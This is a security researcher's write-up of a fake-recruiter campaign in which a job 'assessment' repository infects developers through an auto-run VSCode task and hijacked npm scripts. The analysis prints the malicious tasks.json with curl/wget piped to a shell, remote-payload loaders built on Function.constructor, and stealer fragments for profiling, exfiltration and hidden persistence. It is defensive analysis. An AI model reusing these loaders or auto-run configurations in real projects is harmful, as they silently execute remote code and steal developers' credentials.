stdfox

The Job Offer That Steals Your Secrets

In early January 2026, I received a message from a LinkedIn account claiming to represent Tirios, a real estate technology company. The message described an ambitious platform combining blockchain, 3D visualization, and AI, seeking talented engineers for a fully remote, long-term position. The entire communication had clear signs of a phishing scam, but instead of dismissing it, I chose to investigate what appeared to be an active attack campaign and document the complete attack chain to help the developer community recognize and defend against this threat.

Threat Context

Supply chain attacks targeting software developers have become a serious cybersecurity threat. The ENISA Threat Landscape 2025 report analysed 4,875 incidents between July 2024 and June 2025[1]. Since 2019, researchers have identified over 704,102 malicious packages in open source repositories, with a 156% surge in the most recent annual period[2]. Systematic analysis of these packages shows attackers increasingly reuse malware code across campaigns and distribute payloads across dependency chains[3]. Once an attacker gains access to a developer's environment, they can steal credentials, inject backdoors into codebases, and potentially compromise production systems and customers downstream. High-profile incidents such as SolarWinds[4], CodeCov[5], and the XZ Utils backdoor[6] have demonstrated the devastating scale and impact of this threat vector.

Development tools, particularly Integrated Development Environments (IDEs), make an unusually effective attack surface. These tools are essential — every developer uses one daily, creating a universal attack surface. They operate with elevated privileges: filesystem access, network connectivity, and the ability to execute code. Developers place trust in their IDE, assuming that code executing within this context is legitimate and part of their normal workflow, rarely applying the same level of inspection they would to unfamiliar executables.

This attack combines recruitment-based social engineering through LinkedIn with VSCode's automatic task execution feature, npm script hijacking, and embedded malware loaders. A fake job offer leads developers to clone and open a malicious repository that executes code with minimal user interaction. The multi-stage payload delivery abuses publicly available hosting platforms to evade detection, while heavily obfuscated code performs system profiling, credential harvesting, and data exfiltration.

Social Engineering and Initial Contact

The attack began with a LinkedIn message following a familiar recruitment pattern. The sender presented themselves as an HR professional from Tirios, describing an opportunity to work on a blockchain real estate platform. The message emphasized remote work flexibility, competitive compensation, and cutting-edge technology — smart contract integration, 3D property visualization, and AI-powered features.

The attacker's LinkedIn profile seemed legitimate at first glance. The account was listed on official company page among other employees, lending credibility through association. However, closer inspection revealed inconsistencies: only 345 connections for someone claiming to be an HR professional actively recruiting, minimal skill endorsements, lacked activity history, and network depth expected from a genuine recruiter at a technology company.

After expressing interest, I received an email from hiring@tirios.blog with a technical assessment. The email domain immediately raised suspicion — it differed from the official domain tirios.ai. The message skipped standard recruitment steps entirely: no screening call to discuss experience, no conversation about technical requirements, no verification of mutual fit. Instead, it jumped straight to a coding challenge with an artificial 24-hour deadline.

The assessment instructions directed me to clone a Bitbucket repository and work with the existing codebase. This deviated from typical take-home assessments, which usually ask candidates to build something from scratch to evaluate their skills. The requirement to clone and run existing code created the perfect conditions for malware execution. The repository was presented as a "starter template" requiring bug fixes and feature additions.

Multiple red flags raised throughout this interaction. The email domain mismatch suggested domain spoofing. The compressed timeline and lack of technical discussion indicated the sender had no genuine interest in evaluating my experience. Most significantly, cloning and executing unfamiliar code represented a fundamental deviation from hiring practices.

While these warning signs were present, the attack was sophisticated enough to succeed against many targets. The professional presentation, real company name, and appearance on official LinkedIn pages built trust. A developer excited about an opportunity, working under a deadline, might reasonably overlook these red flags.

This makes these attacks effective: they exploit established professional channels, lowering the psychological barriers that would normally trigger suspicion. Lazarus Group's Operation DreamJob ran the same pattern against defence contractors — fabricated LinkedIn recruiters, no genuine technical assessment, designed to get engineers to execute attacker-controlled code[7].

Repository Analysis and Execution Vectors

The malicious repository presented itself as "GoldenCity" — a Web3 project with an elaborate cover story. Documentation described it as a "modern real estate investment platform that combines traditional property investing with cryptocurrency payments." It listed features like cryptocurrency transactions, interactive property visualization using Three.js, smart contract integration, and real-time market data. The blockchain and cryptocurrency framing was not accidental — developer-targeted campaigns consistently exploit Web3 hiring demand, calibrating the cover story to the assumed candidate profile.

The repository structure appeared authentic. At approximately 5MB, it contained a complete React/Node.js application with standard directories for frontend code, static assets, blockchain-related logic, and a package.json listing over 40 dependencies. However, the codebase quality was deliberately poor. Unclear logic, redundant dependencies, and inconsistent architecture obscured the malicious components while making code review time-consuming enough that developers would likely skip it.

The primary execution mechanism exploited VSCode's task automation feature through a malicious .vscode/tasks.json configuration file:

{
  "version": "2.0.0",
  "tasks": [{
    "label": "env",
    "type": "shell",
    "runOptions": {
      "runOn": "folderOpen"
    },
    "presentation": {
      "reveal": "never",
      "echo": false,
      "close": true
    },
    "osx": {
      "command": "curl 'https://vscode-toolkit-********.vercel.app/settings/mac?flag=301' | sh"
    },
    "linux": {
      "command": "wget -qO- 'https://vscode-toolkit-********.vercel.app/settings/linux?flag=301' | sh"
    },
    "windows": {
      "command": "curl https://vscode-toolkit-********.vercel.app/settings/windows?flag=301 | cmd"
    }
  }]
}

The runOn: "folderOpen" parameter triggers automatic execution the moment VSCode opens the project directory. VSCode does display a workspace trust prompt, but the UI design heavily encourages acceptance. The "Trust" option is visually accented and set as the default action, while the security implications are not clearly communicated. Once granted, the task executes immediately with no further user interaction or warning.

The presentation settings ensure stealth: reveal: "never" prevents the terminal from appearing, echo: false suppresses command output, and close: true automatically closes any UI elements that might appear. Platform-specific commands use curl or wget to download and execute bootstrap scripts, with a flag parameter that likely serves as a campaign identifier for tracking infections across targets.

A secondary execution vector operated through npm script manipulation and an embedded payload loader. The package.json hijacked development scripts:

"scripts": {
  "start": "concurrently \"node contracts/server.js\" \"react-app-rewired start\"",
  "build": "concurrently \"node contracts/server.js\" \"react-app-rewired start\"",
  "test": "concurrently \"node contracts/server.js\" \"react-app-rewired start\"",
  "eject": "concurrently \"node contracts/server.js\" \"react-app-rewired start\""
}

All standard commands execute node contracts/server.js alongside normal-looking processes. The use of the concurrently package creates the illusion of normal development workflow while silently running malicious code. The dual-vector design was deliberate: if a developer denies workspace trust and the VSCode task never runs, any subsequent npm install or npm start delivers the same payload through the npm path. Neither vector requires the other to succeed.

The contracts/controllers/userController.js file contained an alternative payload loader using base64-encoded configuration values from contracts/config/.config.env, which decode to https://api.jsonsilo.com/public/debf138c-23c5-4d3d-900a-******** with the header x-secret-key: _:

exports.getCookie = asyncErrorHandler(async (req, res, next) => {
  const src = atob(process.env.DEV_API_KEY);
  const k = atob(process.env.DEV_SECRET_KEY);
  const v = atob(process.env.DEV_SECRET_VALUE);
  const s = (await axios.get(src,{headers:{[k]:v}})).data.cookie;
  const handler = new (Function.constructor)('require',s);
  handler(require);
})();

This code retrieves JSON with obfuscated JavaScript stored in a field named "cookie" — a naming choice that might cause security tools to overlook it as configuration data. It fetches the final malware payload directly from JSONsilo, bypassing the multi-stage bootstrap process used by the VSCode task automation. It then uses Function.constructor to dynamically create and execute this payload as a function.

This secondary mechanism ensured payload execution even if the VSCode task automation failed — any attempt to run the application through npm commands would trigger malware execution.

Bootstrap Script Analysis

The bootstrap scripts were hosted on Vercel — publicly accessible infrastructure that evades suspicion because blocking it would disrupt legitimate development workflows. The URL structure included platform-specific endpoints for mac, linux, and windows — ensuring compatibility across all major operating systems. Each request included a flag=301 parameter, likely serving as a campaign identifier to track infection rates and distinguish between different attack streams targeting various victim groups.

These scripts prepared the environment for reliable payload execution across diverse system configurations. They first detected the operating system and architecture, then checked whether Node.js was installed on the target system. If Node.js was absent, they automatically downloaded and installed it without user interaction. This eliminated dependency on pre-existing development tools and ensured the JavaScript payload could execute regardless of the victim's system state.

Once the environment was ready, the bootstrap script retrieved the primary payload through a simple loader mechanism. The env-setup.js file demonstrated the core execution pattern:

const axios = require('axios');
axios.get(`https://npoint.io/905b658a3019********`)
  .then(res => {
    const error = res.data.cookie;
    const createHandler = (errCode) => {
      const handler = new (Function.constructor)('require', errCode);
      return handler;
    };
    const handlerFunc = createHandler(error);
    handlerFunc(require);
  });

This technique bypassed standard module loading mechanisms and evaded static analysis tools that scan for traditional require or import statements. By passing Node.js's require function as a parameter, the dynamically created function gained full access to all modules, including filesystem operations, network requests, and child process spawning.

Malware Payload Analysis

The payload the bootstrap mechanism retrieves and executes through Function.constructor is 2.7MB of JavaScript with multiple layers of obfuscation, designed to resist analysis before detection. The file contained 23,981 hex-encoded strings following the pattern \x[0-9a-f]{2}, along with base64-encoded data structures using a custom alphabet. All code was formatted as a single line with no whitespace, and variable names were systematically mangled into meaningless character sequences.

Control flow obfuscation through deeply nested function calls and indirect references made static analysis extremely difficult without executing the code. The obfuscation relied on a string decoder system that dynamically retrieved and decoded strings at runtime. Analysis of the code revealed the core pattern:

function Z(O, w) {
  const N = T();
  Z = function(M, x) {
    M = M - (0x1 * -0xd06 + -0x84f * 0x2 + -0x7e6 * -0x4);
    let o = N[M];
    if (Z["PkaKCe"] === undefined) {
      var p = function(i) {
      const n = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=";
      // base64 decoder implementation...
    };
    Z["oAegfF"] = p;
    O = arguments;
    Z["PkaKCe"] = !![];
  }
  // other code...
  return Z(O, w);
}

Function Z() acts as a string decoder, retrieving obfuscated strings from a lookup table returned by function T(). All sensitive strings — URLs, file paths, system commands — were encoded this way to evade signature-based detection. Numeric constants were calculated through hex arithmetic rather than stored directly, which obscured campaign identifiers and configuration values.

Once executed, the malware performed system profiling to gather information about the compromised environment:

const Utils = {
  "gsi": () => ({
    "host": os.hostname(),
    "os": os.platform() + " " + os.release(),
    "username": os.userInfo().username || "unknown"
  }),
  "is_wsl": () => {
    /* WSL detection logic */
  }
};

The code collected the system hostname via os.hostname(), operating system type and version through os.platform() and os.release(), and the current username via os.userInfo().username. It also implemented logic to detect Windows Subsystem for Linux (WSL) environments, likely to adjust behaviour based on the execution context and identify high-value targets running Linux development environments on Windows systems.

Credential harvesting targeted multiple sources of authentication data. The malware enumerated .npm directories to locate and exfiltrate npm authentication tokens, which grant access to private package repositories and publishing capabilities[8]. The package.json dependency list included clipboardy, a clipboard access library[9] that enabled theft of cryptocurrency wallet addresses, passwords, API keys, and other sensitive data that users copy during normal workflow.

Data exfiltration occurred through axios HTTP POST requests to a command-and-control server:

const n = {
  "ukey": u_k,
  "t": t,
  "host": u_k + "_" + i.host,
  "os": i.os,
  "username": i.username,
  "message": o,
  "level": p,
  "data": V
};

const u = await axios.post(m, n, {
  "headers": {
    "Content-Type": "application/json"
  },
  "timeout": 0x2710
});

The collected data was transmitted as JSON containing system information, the campaign identifier, and stolen credentials. The 10-second timeout (0x2710) balanced reliability against detection — long enough for transmission over slower connections, short enough to avoid triggering timeout-based security monitoring.

Campaign tracking revealed systematic operation across multiple attack streams. The campaign identifier ukey decoded through hex arithmetic: -0x830 + -0x1a9b + 0x23f8 = 301. The version field t calculated as: -0x7e7 + -0x1 * -0x167f + -0xe95 = 3. The flag parameter appeared consistently across all infrastructure — bootstrap URLs, payload endpoints, and exfiltration requests — indicating coordinated tracking of infection rates and victim demographics across the campaign.

Persistence mechanisms ensured the malware continued running even after the initial infection vector closed. The code spawned background processes using Node.js's child_process module:

spawn(process.execPath, ["-c", "-"], {
  "windowsHide": true,
  "detached": true,
  "stdio": ["ignore", "ignore", "ignore"]
});

Processes spawned with detached: true continue running after the parent process terminates, surviving even if the user closed the IDE or terminal. The windowsHide: true option prevented console windows from appearing on Windows systems, while stdio: ["ignore", "ignore", "ignore"] suppressed all input/output, making the processes invisible to casual observation.

The malware also used execSync with a 10MB buffer (maxBuffer: 10485760 bytes) for executing system commands and handling large outputs. The command-and-control server URL remained heavily obfuscated across multiple variables, preventing complete extraction without full execution in a network-enabled environment — a deliberate defensive measure against analysis.

Platform Security Failures

The attack exploited a design assumption in how development tools handle configuration files. Git repositories commonly include .vscode or .idea directories containing IDE-specific settings, and this practice is widely accepted as part of project structure. Developers actively encourage version-controlling workspace configurations to ensure consistent environments across team members. However, this creates no distinction between passive configuration and executable code.

When developers clone a repository, they implicitly trust that configuration files are settings rather than commands. These files appear as legitimate project tooling for automation like linting, testing, or building. This allows malicious code to be distributed through standard git clone workflows without triggering suspicion, as developers have been trained to expect and accept configuration files as normal repository content.

VSCode's runOn: "folderOpen" feature enables arbitrary code execution with minimal user interaction — a capability Microsoft documents as restricted in untrusted workspaces[10], but one that attackers bypass by engineering the trust prompt itself. The workspace trust prompt that appears when opening untrusted folders provides only an illusion of security. The UI heavily emphasizes the "Trust" option and sets it as the default, while the security implications of trusting are not clearly explained. There is no sandboxing, permission model, or capability-based security limiting what task scripts can access — the design assumes all workspace content is inherently trusted once the user clicks through a single prompt, fundamentally misunderstanding the threat model where malicious actors can craft repositories specifically designed to exploit this trust.

LinkedIn's identity verification model enables social engineering against any organization by allowing attackers to impersonate employees with no validation. Users can self-declare employment at any organization, and their profiles appear in company employee listings without verification. The platform does not require email domain matching — attackers can claim employment at real companies while using personal mail addresses or attacker-controlled domains. LinkedIn's visual design prominently displays company logos, job titles, and employment claims, creating strong visual signals of legitimacy that users naturally interpret as verified information, making it impossible to distinguish between verified employees and someone who simply claimed to work there.

The attack exploited multiple hosting platforms — Bitbucket, Vercel, JSONsilo, and npoint.io — relying on their trusted reputations to evade detection. All four provide generous free tiers with minimal verification requirements, making them attractive for hosting attack infrastructure at no cost. These platforms benefit from strong reputations in the developer community — Vercel for serverless hosting, JSONsilo and npoint.io for quick JSON storage, and Bitbucket for Git repository hosting. Security tools and browser filters are unlikely to flag requests to these domains, as blocking them would disrupt countless development workflows.

All these platforms lack effective proactive scanning for malicious patterns. They rely primarily on reactive abuse reporting, where content remains accessible until someone reports it and staff manually review and remove it. Response times vary widely across platforms and can take days or weeks, leaving malicious profile and content accessible throughout active attack campaigns.

These are not bypasses — they are co-opted features. VSCode's workspace trust, LinkedIn's employment display, and free hosting tiers are all legitimate mechanisms that this attack class repurposes. The implication is structural: individual vigilance cannot solve a system where the attacker controls the inputs that trust decisions are based on, which is why the fixes belong in platform design, not in developer behaviour.

Mitigation Strategies

Developers should adopt defensive practices when evaluating code. Always use isolated virtual machines or containers for untrusted code to prevent exploitation from accessing credentials or production systems. Never run commands like npm install or npm start immediately after cloning a repository — inspect package.json for suspicious scripts, examine dependencies for unexpected packages, and review configuration files in .vscode, .github, or similar directories.

More fundamentally, repository owners should reconsider whether .vscode, .idea, .claude, and similar directories should be version-controlled. IDE and environment configuration represents executable code, and distributing it through Git repositories creates an attack vector that bypasses traditional security boundaries.

Organizations should implement security training specifically covering attacks targeting developers, as traditional phishing training focused on credential theft or financial fraud does not adequately address this threat vector. Developers need to understand that their workstations, development tools, and workflow automation represent attack surfaces that adversaries actively exploit. Regular audits of developer access and implementation of the principle of least privilege help limit the impact of individual compromises.

VSCode and Microsoft should fundamentally reconsider the security model around automatic task execution. The runOn: "folderOpen" feature enables arbitrary code execution without meaningful user consent and should be redesigned with security as the primary consideration. The workspace trust feature in its current form provides insufficient protection. Implement mandatory security prompts similar to browser permission models, require granular permission grants for trusted workspaces, and block automatic task execution entirely in untrusted environments.

LinkedIn should implement email domain verification for employment claims or clearly label unverified affiliations to prevent impersonation attacks. Company pages should have the ability to audit employee listings and challenge false claims, with a straightforward process for removing imposters. The current model allows attackers to appear as verified employees on official company pages simply by self-declaring employment, creating dangerous misalignment between user expectations and actual security controls. Require mutual verification where both the employee and company confirm the relationship, or at minimum display prominent warnings that employment claims are self-reported and unverified.

Hosting providers like Bitbucket, Vercel, JSONsilo, and npoint.io should implement proactive scanning for common malware patterns rather than relying solely on reactive abuse reports. Detection heuristics could flag repositories or hosted content containing automatic execution, obfuscated JavaScript payloads over certain size thresholds, extensive use of Function.constructor or eval, or base64-encoded executables.

While perfect detection is impossible due to legitimate uses of these patterns, it would significantly increase attacker costs and reduce the scalability of these campaigns.

Conclusion

Recruitment-based attacks targeting software developers work because they exploit professional channels and workflow habits developers trust. This attack shows how attackers can combine social engineering through trusted professional networks like LinkedIn, publicly accessible hosting platforms, and automatic code execution features built into development tools like VSCode and npm.

By presenting malware delivery as a job opportunity and exploiting automatic task execution, attackers bypass traditional security awareness training that focuses on recognizing suspicious emails or links. The multi-layered approach — fraudulent recruitment, malicious repository distribution, automatic execution on folder open, and npm script hijacking — creates multiple opportunities for compromise even if developers recognize some warning signs.

As development workflows increasingly rely on automation and AI-powered tooling, similar attacks will likely increase unless fundamental design changes address the underlying security architecture flaws documented in this analysis. The integration of AI tools into development environments creates additional attack vectors where malicious configurations can compromise both developer systems and the AI agents they depend on.

References

  1. ENISA, "ENISA Threat Landscape 2025," enisa.europa.eu, 2025 ↩︎

  2. Sonatype, "10th Annual State of the Software Supply Chain Report," sonatype.com, 2024 ↩︎

  3. Zhou, X., et al., "An Analysis of Malicious Packages in Open-Source Software in the Wild," arXiv:2404.04991, 2025 ↩︎

  4. FireEye, "Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor," cloud.google.com, 2020 ↩︎

  5. Goodin, D., "Backdoored developer tool that stole credentials escaped notice for 3 months," arstechnica.com, 2021 ↩︎

  6. Turunen, I., "CVE-2024-3094: The Targeted Backdoor Supply Chain Attack Against xz and liblzma," sonatype.com, 2024 ↩︎

  7. Markovic, S., "How Lazarus Group used fake job ads to spy on Europe's drone and defense sector," helpnetsecurity.com, 2025 ↩︎

  8. npm, "About Access Tokens," docs.npmjs.com, 2024 ↩︎

  9. Sorhus, S., "clipboardy," npmjs.com, 2024 ↩︎

  10. Microsoft, "Workspace Trust," code.visualstudio.com, 2024 ↩︎